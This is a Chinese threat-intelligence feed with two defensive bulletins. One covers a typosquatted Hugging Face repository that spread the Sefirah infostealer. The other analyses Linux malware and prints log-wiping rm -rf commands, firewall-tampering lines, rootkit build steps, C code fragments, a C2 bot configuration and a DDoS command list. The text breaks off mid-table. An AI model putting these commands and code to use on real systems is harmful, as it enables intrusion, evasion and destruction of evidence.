深信服千里目安全技术中心

【恶意文件通告】关于Hugging Face平台仿冒OpenAI仓库的供应链投毒事件

Tue, 12 May 2026 19:51:00 +0800

深瞻情报实验室 2026-05-12 19:51 北京

近期，深信服千里目安全技术中心监测到一起围绕Hugging Face平台的开源AI供应链投毒事件。

安全研究机构HiddenLayer于2026年5月7日披露，攻击者通过typosquatting技术在Hugging Face仿冒OpenAI官方“Privacy Filter”项目，创建恶意仓库Open-OSS/privacy-filter，借助虚假账户刷star冲上平台趋势榜榜首，在被清除前累计下载量约244,000次，最终向受害者部署基于Rust语言开发的Sefirah窃密木马，是开源AI生态历史上规模最大的恶意分发事件之一。

恶意文件概要

事件名称	关于Hugging Face平台仿冒OpenAI仓库的供应链投毒事件
发布时间	2026年5月12日
威胁类型	供应链投毒、信息窃取木马
简单描述	攻击者在Hugging Face注册仿冒OpenAI Privacy Filter的恶意仓库Open-OSS/privacy-filter，通过虚假账户刷star冲上趋势榜首，借助loader.py四阶段感染链投递基于Rust的Sefirah信息窃取木马，窃取受害者的浏览器凭据、加密货币钱包、Discord令牌、SSH/FTP/VPN凭证及系统敏感数据。
关键特征	loader.py禁用SSL并解码远程payload；多阶段PowerShell隐藏执行；批处理写入Microsoft Defender排除项；C2域名通过Cloudflare CDN中转隐藏真实基础设施。

事件详述

攻击背景与起因

近期，深信服千里安全技术中心监测到一起 Hugging Face 平台的信任链滥用事件。据 HiddenLayer安全研究团队披露：攻击者在全球最大的开源AI模型托管平台Hugging Face上，创建了名为Open-OSS/privacy-filter的恶意仓库。该仓库利用typosquatting（仿冒拼写/相似命名）技术，冒充OpenAI官方发布的Privacy Filter项目，逐字复制原始项目的Model Card文档，建立高度可信的视觉欺骗。与此同时，攻击者通过自动化脚本批量生成约667个虚假账户对该仓库进行star操作，将其推上Hugging Face平台趋势榜（Trending）榜首位置。

本次事件滥用了开源AI社区中以“项目名称、下载量、点赞数”为核心的隐性信任体系，是一次典型的供应链投毒事件。

影响范围与风险分析

根据HiddenLayer与BleepingComputer的联合披露，本次事件的核心风险并不在于Hugging Face平台代码本身遭篡改，而在于攻击者能够借助开源AI生态的高度开放性，对全球AI开发者、模型工程师及企业研发团队执行近乎“广播式”的恶意软件分发。

受影响范围：恶意仓库在被下架前累计下载量约244,000次，研究人员指出该数字部分可能被人为放大，但仍有相当数量的真实开发者主机被入侵。

暴露数据：浏览器Cookie、保存密码、加密密钥与会话令牌（Chromium与Gecko系）、Discord令牌与本地数据库、加密货币钱包及种子短语、SSH/FTP/VPN凭据及FileZilla配置、本地敏感文件、完整系统信息与多屏截图。

级联风险：受害者多为AI开发者与算法工程师，其主机内通常托管有OpenAI/Anthropic API Key、GitHub/GitLab访问令牌、云厂商凭据、AI模型权重与训练数据集等高价值资产，单台主机失陷即可引发企业级密钥外泄、模型权重盗取乃至云资源接管。

受影响场景

本次事件主要影响在Hugging Face上拉取/下载第三方模型与脚本、并直接在主机本地环境执行的开发者与企业用户，尤其是以下场景：

直接使用git clone或huggingface-cli下载Open-OSS/privacy-filter并在物理机或开发主机执行loader.py；

在AI Notebook、Jupyter环境中以root或管理员权限交互式运行未审计的第三方模型加载脚本；

在缺少代码签名校验与Sandbox隔离的情况下将Hugging Face模型直接集成进CI/CD流水线；

同时在同一主机保存浏览器密码、加密货币钱包、SSH私钥与各类Token的AI开发者；

将下载量、趋势榜排名作为模型可信度评估主要依据的团队。

截至披露时，Hugging Face平台本身的基础设施未发现被入侵，OpenAI官方Privacy Filter项目亦未被篡改，本次受害对象集中在主动从仿冒仓库下载并本地执行恶意代码的终端开发者。

攻击时间线

时间	事件	详细说明
2026/2/16	C2基础设施预置	攻击者注册C2域名recargapopular.com，使用TUCOWS.COM作为注册商，并配置Cloudflare名称服务器（deborah/west.ns.cloudflare.com），提前约3个月部署用于后续数据外泄的基础设施。
2026/2 – 2026/5	恶意仓库创建与伪装	攻击者在Hugging Face注册Open-OSS/privacy-filter仓库，逐字复制OpenAI官方Privacy Filter的Model Card，植入伪装为AI推理代码的loader.py。
2026/2 – 2026/5	虚假账户刷榜推热	通过自动化脚本生成大量虚假账户对仓库执行star操作，约667个账户参与点赞，将恶意仓库人为推上Hugging Face趋势榜榜首位置。
披露前阶段	大规模分发	在Trending榜单曝光下，仓库累计下载量约244,000次，多个真实受害者主机被Sefirah窃密木马感染。
2026/5/7	初次披露	HiddenLayer研究人员公开仿冒仓库、loader.py、PowerShell加载链与最终Sefirah载荷的完整分析。
2026/5/9	媒体技术报道	BleepingComputer发布配套技术分析，曝光C2域名recargapopular.com及与npm typosquatting活动的关联。
披露后	下架与扩展溯源	Hugging Face下架Open-OSS/privacy-filter仓库；研究人员进一步发现，该loader基础设施与npm生态中分发WinOS 4.0植入程序的typosquatting活动存在重叠，指向同一跨平台威胁行为体。

技术特征与攻击行为分析

投毒载体与进入方式

本次事件是典型的“开源AI生态typosquatting + 信任语义滥用”。攻击者综合运用以下三层手段进入受害者主机：

命名仿冒：通过Open-OSS/privacy-filter等高相似度命名仿冒OpenAI官方Privacy Filter项目，欺骗按关键词检索/复制粘贴使用模型的用户；

内容仿冒：几乎逐字复制原始项目的Model Card文档与项目描述，使README与示例代码具备与官方近乎一致的视觉与语义可信度；

社群信号操纵：用自动化生成的约667个虚假账户进行star操作，借助Hugging Face趋势榜的曝光放大作用，使仓库短时间内冲上榜单榜首；

依赖默认行为：受害者按惯例直接执行示例脚本loader.py，攻击链由此打通。

本次攻击充分利用了开源AI生态相较传统软件包生态的两点差异：其一，模型仓库往往包含可执行的预处理/推理脚本，执行边界从“安装”延伸到“加载”；其二，社区对“下载量+点赞数+趋势榜”的依赖远高于代码签名等强校验机制，使得攻击者能够在不投放0day的情况下实现大规模感染。

多阶段感染链与信息收集目标

攻击者构建了四阶段感染链：从看似合法的Python脚本起步，逐级隐藏意图，最终落地基于Rust编译的Sefirah窃密木马。

潜在收集对象包括：

浏览器数据：Chromium/Gecko系浏览器的Cookie、保存密码、加密密钥、浏览历史、会话令牌；

即时通讯：Discord令牌、本地数据库与主密钥；

加密资产：本地加密货币钱包文件、浏览器扩展中的钱包、钱包种子短语与私钥；

远程访问凭据：SSH、FTP、VPN凭据及配置文件（含FileZilla）；

开发者凭据：本地保存的API Key、Access Token、配置文件中的明文密钥；

系统信息：完整主机信息、安装软件清单、用户名、多显示器全屏截图。

窃取到的数据经压缩后通过HTTP协议外泄至C2服务器recargapopular[.]com，该域名于2026年2月16日由TUCOWS.COM注册，并通过Cloudflare CDN中转隐藏真实后端。

持久化能力

Sefirah载荷集成了多层反分析机制，仅在确认运行环境为真实受害者主机时才会触发完整恶意行为，显著提高了沙箱与自动化分析的成本：

虚拟化环境检测：识别VMware、VirtualBox、QEMU等虚拟机特征；

沙箱检测：识别主流自动化分析沙箱的行为特征与硬件指纹；

调试器检测：检测附加调试器与软件断点；

分析工具检测：识别Wireshark、Procmon等主机进程。

持久化方面：攻击者并未采用经典的注册表Run键或计划任务，而是通过将最终载荷写入Microsoft Defender排除路径，使Sefirah及其后续行为长期免于本机AV扫描，从而在不显著触发用户感知的情况下保留持续执行能力。

解决方案

建议处置流程

针对已下载或执行过Open-OSS/privacy-filter相关代码的开发者及企业用户，建议立即执行如下处置流程：

1. 识别受影响主机：在终端与EDR中检索是否曾从Hugging Face拉取过Open-OSS/privacy-filter，或访问过recargapopular[.]com；

2. 隔离与重装：对疑似受感染主机直接执行重装/重映像，确保loader、PowerShell stager、start.bat与Sefirah主体被彻底清除；

3. 凭据全面轮换：轮换该主机曾保存的浏览器密码、API Key、SSH私钥、云厂商凭据、Git Token、OpenAI/Anthropic等AI服务Key；

4. 会话失效：使所有浏览器会话Token与SSO登录态失效，重置双因素认证种子；

5. 清理本机Defender排除项：检查并删除被start.bat写入的Microsoft Defender排除路径，恢复正常扫描覆盖范围；

6. 日志与外联审计：审查近期出站流量是否存在指向恶意域名；

IOC

recargapopular[.]com

172.67.165.218

104.21.66.235

MITRE ATT&CK:

Tactic	Technique	ID	Application
Resource Development	Acquire Infrastructure: Domains	T1583.001	攻击前3个月注册recargapopular.com，使用Cloudflare中转隐藏后端。
Initial Access	Supply Chain Compromise	T1195	在Hugging Face投放仿冒OpenAI Privacy Filter的恶意仓库。
Initial Access	Phishing	T1566	通过命名仿冒与刷榜实施针对AI开发者的社会工程诱导下载。
Execution	Command and Scripting Interpreter: Python	T1059.006	loader.py作为初始执行入口。
Execution	Command and Scripting Interpreter: PowerShell	T1059.001	以WindowStyle Hidden隐藏执行下载后阶段命令。
Defense Evasion	Impair Defenses: Disable or Modify Tools	T1562.001	禁用SSL校验；写入Microsoft Defender排除项。
Defense Evasion	Virtualization/Sandbox Evasion: System Checks	T1497.001	VM/沙箱/调试器/分析工具检测，仅在真实主机执行。
Credential Access	Credentials from Password Stores: Web Browsers	T1555.003	提取Chromium/Gecko浏览器保存的密码与令牌。
Credential Access	Unsecured Credentials: Private Keys	T1552.004	采集SSH/VPN/加密钱包私钥与种子短语。
Collection	Screen Capture	T1113	抓取主机多显示器全屏截图。
Exfiltration	Exfiltration Over C2 Channel	T1041	通过HTTP将压缩数据外泄至recargapopular[.]com。

参考链接

1.https://www.bleepingcomputer.com/news/security/fake-openai-repository-on-hugging-face-pushes-infostealer-malware/

2.https://mp.weixin.qq.com/s/ISmX8_uPhNceGdiMBucJLw

跳转微信打开

【恶意文件通告】Linux多功能病毒分析

Tue, 12 May 2026 19:51:00 +0800

深瞻情报实验室 2026-05-12 19:51 北京

近期，深信服千里目安全技术中心监测到一起Linux后门事件、经过深度分析排查发现该事件与UTG-Q-008团伙存在关联，该家族是针对Linux平台的威胁行为者，主要针对中国政府机构和企业实体，利用庞大的僵尸网络进行间谍活动。

恶意文件概要

恶意文件名称	Linux多功能病毒分析
发布时间	2026年5月12日
威胁类型	Rootkit、后门、DDoS、僵尸网络
简单描述	攻击者通过多个恶意文和开源软件的组合利用实现实现内核Rootkit隐藏、后门部署、僵尸网络搭建和流量代理转发等多种高危害行为。

恶意文件分析

恶意文件描述

恶意文件分析

此次攻击一共发现三个文件，涵盖了代理转发、权限维持、漏洞扫描和利用、DDos、后门等常见的操作。

1.dnsresolve

该样本为SS5 Socks Server Version 3.8.9 - Release 8，是一个开源 SOCKS5 代理服务器软件。使用gcc (GNU) 4.1.2 20080704 (Red Hat 4.1.2-55)进行编译，主要包含了如下功能：

函数名	地址	大小	功能
main	0x4208800	2840	程序入口，参数解析，环境变量处理
S5Core	0x4214096	15470	核心 SOCKS5 代理处理逻辑（最大函数）
S5SetStatic	0x4231088	1371	初始化静态配置默认值
S5LoadConfig	0x4248400	505	加载配置文件并触发模块加载
S5LoadConfData	0x4236512	9924	解析配置文件（auth/proxy/bandwidth/route等）
S5LoadModules	0x4251264	3662	动态加载 .so 模块
S5LoadPeers	0x4236016	496	加载对等节点配置
S5PropagateConfig	0x4246448	1254	向对等节点传播配置
S5ReceiveConfig	0x4247712	678	接收来自主节点的配置
S5MainThread	0x4248976	378	主线程循环，接受连接
S5ServerMake	0x4230320	345	创建监听 socket
S5ServerAccept	0x4230144	168	接受客户端连接
S5MakeDaemon	0x4230672	61	守护进程化（fork→setsid→fork→chdir→umask）
S5UIDSet	0x4230736	177	降权操作（getpwnam→setgid→initgroups→setuid）
DirectoryQuery	0x4254928	3455	LDAP 目录查询认证
DirectoryCheck	0x4258384	514	目录认证检查
S5RadiusAuth	0x4261552	2741	RADIUS 认证
S5RadiusAcct	0x4258912	2633	RADIUS 计费
S5GetIf	0x4234656	710	获取网络接口信息
S5GetRange	0x4233056	255	解析 IP 范围
S5GetNetmask	0x4233312	180	解析网络掩码
S5StrHash	0x4232992	57	字符串哈希
S5Debug* 系列	-	-	调试/日志输出函数

启动流程：

1. 初始化默认配置: 监听地址 `0.0.0.0:1080`，运行用户 `nobody`

2. 检查环境变量并覆盖配置（`SS5_SOCKS_USER`, `SS5_SOCKS_PORT`, `SS5_SOCKS_ADDR` 等）

3. 解析命令行参数

4. 加载 `.so` 模块（`S5LoadModules`）

5. 加载配置文件（`S5LoadConfig`）

6. 守护进程化（`S5MakeDaemon`）

7. 降权运行（`S5UIDSet`）

8. 进入主循环（`S5Core` / `S5MainThread`）

2.59a515e28d1515ae

该文件是一个从bash脚本打包的ELF文件，包含了自解压、socks5、内核级Rookit三个组件协同工作。核心函数如下:

函数	地址	功能
sub_402354	0x4203348	初始化对象 (XOR 解码 /proc/self/exe路径)
sub_4046E0	0x4212448	初始化参数解析对象
sub_404A3A	0x4213306	XOR 解码包装 (调用 sub_4059E4, key=0x2E)
sub_474AD0	0x4672208	readlink()系统调用包装— 读取 /proc/self/exe获取自身路径
sub_4743B0	0x4670384	自定义realpath()— 通过 inode 向上爬升目录树解析绝对路径
sub_40E1F0	0x4248016	std::string 子串赋值
sub_404BB2	0x4213682	字符串后缀匹配 (检查文件扩展名)
sub_40D3E0	0x4249568	字符串搜索 (在 shebang 中查找解释器名)
sub_42D0A0	0x4366496	setenv()— 设置环境变量
sub_404EAA	0x4214442	Shell 执行包装 (v63=0)
sub_404F48	0x4214600	Python 执行包装 (v63=1)
sub_404FE6	0x4214758	Perl/Node/Ruby 执行包装 (v63=2,3,4)
sub_405084	0x4214916	PHP/Lua 执行包装 (v63=5,7)
sub_405122	0x4215074	Rscript 执行包装 (v63=6)
sub_46CBE0	0x4639728	核心进程执行— PATH 查找解释器 → execve

文件执行之后从自身解密出需要执行的bash代码，在bash代码中包含了如下几个核心的恶意逻辑：

反取证

rm-rf /var/www/html/config.json # 删除 Web 服务器配置
rm-rf /root/.xmrig.json # 删除 XMRig 矿工配置
rm-rf /root/.config/xmrig.json   # 删除 XMRig 备用配置
rm-rf /var/log/messages*   # ★ 摧毁系统日志
rm-rf /var/log/secure*   # ★ 摧毁安全审计日志
rm-rf /var/log/auth.log*   # ★ 摧毁认证日志
rm-rf /var/log/syslog*   # ★ 摧毁 syslog

摧毁系统审计日志, 使入侵检测和安全分析失效。删除别的挖矿程序配置。

系统调优 + 防火墙规避

提高系统资源上限 (为挖矿优化)

echo"fs.file-max = 2097152" > /etc/sysctl.conf # 写入内核参数
sysctl -p# 立即生效
ulimit -SHn1024000# 提高进程文件句柄上限

隐藏 iptables 二进制

mv /usr/sbin/tokens /usr/sbin/iptables # "恢复" iptables (tokens → iptables)
mv /sbin/tokens /sbin/iptables # 同上

脚本假设系统管理员已将 iptables 重命名为 tokens 以阻止恶意软件使用。脚本将其"恢复正常", 然后操纵防火墙规则, 最后再隐藏:

mv /usr/sbin/iptables /usr/sbin/tokens # 再次隐藏 iptables
mv /sbin/iptables /sbin/tokens

移除已知矿池 C2 的防火墙封锁,脚本搜索并删除针对以下 IP 段的 INPUT DROP 规则:

IP段	提供商
138.68.0.0/16	DigitalOcean
67.207.0.0/16	DigitalOcean
46.101.0.0/16	DigitalOcean
157.245.0.0/16	DigitalOcean
146.190.0.0/16	DigitalOcean
144.126.0.0/16	DigitalOcean
167.172.0.0/16	DigitalOcean
172.104.0.0/16	Linode
172.105.0.0/16	Linode

iptables -L INPUT -v-n | grep | awk'{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -s

部署 LKM Rootkit (cloud_monitor)

这是最危险的组件。脚本内嵌完整 C 语言内核模块源码, 在目标机器上现场编译并加载。

编译流程

mkdir /tmp/b
# 写入 cloud_monitor.h (宏定义)
# 写入 cloud_monitor.c (约 400 行内核模块代码)
# 写入 Makefile
make-C /lib/modules/`uname -r`/build M=/tmp/b modules
insmod /tmp/b/cloud_monitor.ko
rm-rf /tmp/b # 清理编译痕迹

被挂钩的系统调用

系统调用	挂钩后行为
getdents	过滤目录列表中的隐藏条目
getdents64	同上 (64位版本)
kill	拦截自定义信号, 实现后门功能

自定义后门信号

信号	编号	功能
SIGINVIS	41	设置进程PF_INVISIBLE标志→ 从 ps/top//proc中隐藏进程
SIGSUPER	54	修改 cred 结构 → 直接获取 root 权限 (uid=0,gid=0,suid=0,...)
SIGMODINVIS	53	从内核模块链表list_del→ 从 lsmod中隐藏自身

文件/目录隐藏：任何以 $hhide (默认 ad12e85f) 为前缀的文件/目录在 ls/find/readdir 中不可见:

#define MAGIC_PREFIX "ad12e85f"
// 在 hacked_getdents 中:
if (memcmp(MAGIC_PREFIX, dir->d_name, strlen(MAGIC_PREFIX)) ==0) {
// 从返回结果中移除此条目
}

同时, 以数字命名的进程 ID 也会在 /proc 中被隐藏 (通过 is_invisible 检查 PF_INVISIBLE 标志)。

内存保护绕过

// x86/x86_64: 修改 CR0 寄存器绕过写保护
cr0=read_cr0();
unprotect_memory(); // write_cr0(cr0 & ~0x00010000)
// 修改系统调用表...
protect_memory(); // write_cr0(cr0)
// ARM64: 直接修改页表权限
update_mapping_prot(phys, virt, size, PAGE_KERNEL);

自隐藏技术

// 从内核模块链表中删除自身
module_hide() {
module_previous=THIS_MODULE->list.prev;
list_del(&THIS_MODULE->list); // 从 lsmod 不可见
}
// 删除 sect_attrs 防止 sysfs 暴露
tidy() {
kfree(THIS_MODULE->sect_attrs);
THIS_MODULE->sect_attrs=NULL; // /sys/module/ 不可见
}

Rootkit 元数据

属性	值
模块名	cloud_monitor(伪装云监控)
许可证	"Dual BSD/GPL" (虚假)
作者	m0nad (开源 LKM rootkit 作者)
描述	"LKM rootkit"
兼容内核	Linux 2.6.18 ~ 5.7+ (支持 x86_64、ARM64)

部署 SS5 SOCKS5 代理

# 从隐藏在 /etc/$hhide/ 的 dnsresolve 复制 SS5 代理
cp /etc/ad12e85f/dnsresolve /$EXE# $EXE = md5sum($RANDOM)[:8]
# 以静默、线程模式启动 SS5 SOCKS5 代理
/$EXE-m-t-p /usr/share/terminfo/w/wy66-qa -b0.0.0.0:$port
# 删除可执行文件 (进程仍在内存中运行)
rm-rf /$EXE
# 通过 rootkit 信号隐藏 SS5 进程
kill-41`cat /usr/share/terminfo/w/wy66-qa`
# 通过 rootkit 信号隐藏内核模块
kill-5310000000

SS5 配置

参数	说明
-m	静默模式 (不输出日志)
-t	线程模式
-p	PID 文件路径 (/usr/share/terminfo/w/wy66-qa)
-b	绑定地址:端口 (0.0.0.0:$port)
默认端口	由脚本$1参数决定

伪装路径

SS5 PID 文件: /usr/share/terminfo/w/wy66-qa (伪装成 terminfo 数据库条目)

SS5 可执行文件: 随机 8 字符 MD5 前缀, 执行后立即删除

SS5 原始文件: /etc/$hhide/dnsresolve (被 rootkit 隐藏)

日志清除收尾

journalctl --vacuum-time=1s # 清空 systemd journal 日志

3.ssh_host_dsa_key.pub

该文件与59a515e28d1515ae同源不同构建，通过 SSC 自解压编译器投递，嵌入 Perl 脚本 (~46KB) 实现 IRC C2 通信、DDoS 攻击、漏洞扫描、反向 Shell、日志清除等全功能。基于 "LiGhT's Modded perlbot v2" (Sida/Perlbot 变种)。文件名伪装为 SSH 主机密钥 (.pub)。释放的Perl脚本具备以下功能：

C2 配置

my$processo='usr/sbin/httpd';   # 伪装的进程名
my$linas_max='10';   # 每批输出行数
my$sleep='5'; # 批次间隔
my$servidor='adam.established.site'; # ★ C2 IRC 服务器
my$porta='80';   # ★ 端口80
my@adms= ("qwerty","asdfgh1","zxcvbn1","12345"); # 管理员
my@hostauth= ("qwerty");   # 授权主机
my@canais= ("#ssh");   # IRC 频道
my$chanpass="@"; # 频道密码
# 机器人命名格式
$nick="L_${CPU_CORES}_${HOSTNAME}";
$ircname="linux_${CPU_CORES}";   # IRC 用户名
$realname="${HOSTNAME} ${CPU_CORES}";   # 真实名

DDoS 攻击命令

命令	格式	协议	实现
udpflood	!u udpflood	UDP Raw	socket(SOCK1, PF_INET, SOCK_RAW, 2)+ SOCK_DGRAM
udp	!u udp	UDP	inet_aton+ send()
tcpflood	!u tcpflood	TCP SYN	1000并发 socket()+connect()+shutdown()
httpflood	!u httpflood	HTTP GET	IO::Socket::INET->new(PeerPort=>80)循环 GET
sqlflood	!u sqlflood	MySQL	IO::Socket::INET->new(PeerPort=>3306)循环连接
syn	!u syn	TCP SYN	编译的./synC程序 (需先 install-syn)
sudp	!u sudp	UDP	编译的./50xC程序 (需先 install-50x)

IRC 洪水命令

命令	目标	方式
!u msgflood	用户	10次 PRIVMSG
!u dunixflood	用户	10次 DUNIX CHAT CTCP
!u ctcpflood	用户	20次 CTCP VERSION+PING
!u noticeflood	用户	10次 NOTICE
!u channelflood	频道	25次 JOIN 随机频道
!u maxiflood	用户	60次混合 (NOTICE+CTCP+PRIVMSG)

漏洞扫描/攻击命令

命令	功能
!u multiscan	14个搜索引擎联合 Dork → SQL注入批量扫描
!u sql	单URL UNION注入检测
!u sql2	Google Dork → 多搜索引擎 → SQL注入
!u portscan	扫描 70+ 常用端口 (15-55555)
!u nmap	指定端口范围扫描
!u autoscan